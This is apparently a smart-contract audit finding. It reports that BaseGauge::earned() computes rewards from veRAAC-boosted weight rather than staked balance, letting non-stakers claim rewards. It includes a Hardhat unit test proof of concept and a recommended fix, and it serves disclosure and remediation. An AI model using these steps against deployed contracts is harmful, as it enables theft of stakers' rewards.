Summary
The BaseGauge::earned()
function incorrectly calculates rewards based on user's veRAAC balance and total staked amount, rather than the user's staked amount. This allows users with veRAAC tokens to claim rewards without staking, effectively stealing rewards from legitimate stakers.
Vulnerability Details
The vulnerability exists in the earned()
function which calculates rewards using getUserWeight()
instead of the user's staked balance. The getUserWeight()
function applies a boost based on veRAAC balance without checking if the user has any staked tokens.
function earned(address account) public view returns (uint256) {
@> return (getUserWeight(account) *
(getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}
function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
@> (lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}
function getUserWeight(address account) public view virtual returns (uint256) {
uint256 baseWeight = _getBaseWeight(account);
@> return _applyBoost(account, baseWeight);
}
function _applyBoost(address account, uint256 baseWeight) internal view virtual returns (uint256) {
if (baseWeight == 0) return 0;
IERC20 veToken = IERC20(IGaugeController(controller).veRAACToken());
@> uint256 veBalance = veToken.balanceOf(account);
@> uint256 totalVeSupply = veToken.totalSupply();
BoostCalculator.BoostParameters memory params = BoostCalculator.BoostParameters({
maxBoost: boostState.maxBoost,
minBoost: boostState.minBoost,
boostWindow: boostState.boostWindow,
totalWeight: boostState.totalWeight,
totalVotingPower: boostState.totalVotingPower,
votingPower: boostState.votingPower
});
uint256 boost = BoostCalculator.calculateBoost(
veBalance,
totalVeSupply,
params
);
return (baseWeight * boost) / 1e18;
}
Key issues:
earned()
uses getUserWeight()
which only depends on veRAAC balance
No check for positive staked balance in earned()
or getReward()
Rewards can be claimed by any veRAAC holder after others stake
This means a user with veRAAC tokens can:
Wait for others to stake tokens
Claim rewards without staking anything
Repeat this process to continuously drain rewards
Impact
High severity as this allows:
Direct theft of rewards from legitimate stakers
Complete bypass of staking requirement
Continuous draining of reward tokens
Breaking of core gauge functionality
Tools Used
Manual review
Proof of Concept
First a bug in the BaseGauge::constructor()
function need to be fixed, as this cause overflow in the calculations due to a incorrect assignment of boostState.minBoost
:
- boostState.minBoost = 1e18;
+ boostState.minBoost = 10000;
Add the following test case to the test/unit/core/governance/gauges/GaugeController.test.js
file:
it("claim rewards without staking", async () => {
await rewardToken.mint(rwaGauge.target, ethers.parseEther("100000000000000000000"));
await veRAACToken.mint(user1.address, ethers.parseEther("2000"));
await veRAACToken.mint(user2.address, ethers.parseEther("1000"));
await gaugeController.connect(user1).vote(await rwaGauge.getAddress(), 5000);
await veRAACToken.connect(user1).approve(rwaGauge.target, ethers.parseEther("1000"));
await rwaGauge.connect(user1).stake(ethers.parseEther("1000"));
await gaugeController.distributeRewards(rwaGauge.target);
await time.increase(WEEK);
const earnedUser1 = await rwaGauge.earned(user1.address);
const earnedUser2 = await rwaGauge.earned(user2.address);
expect(earnedUser1).to.be.gt(0);
expect(earnedUser2).to.be.gt(0);
expect(earnedUser2).to.be.equal(earnedUser1);
const balanceBeforeClaim = await rewardToken.balanceOf(user2.address);
expect(balanceBeforeClaim).to.be.equal(0);
await rwaGauge.connect(user2).getReward();
const balanceAfterClaim = await rewardToken.balanceOf(user2.address);
expect(balanceAfterClaim).to.be.gt(0);
});
Recommendations
Modify the earned()
function to check for staked balance:
function earned(address account) public view returns (uint256) {
+ if (_balances[account] == 0) return 0;
- return (getUserWeight(account) *
+ return (_balances[account] *
(getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}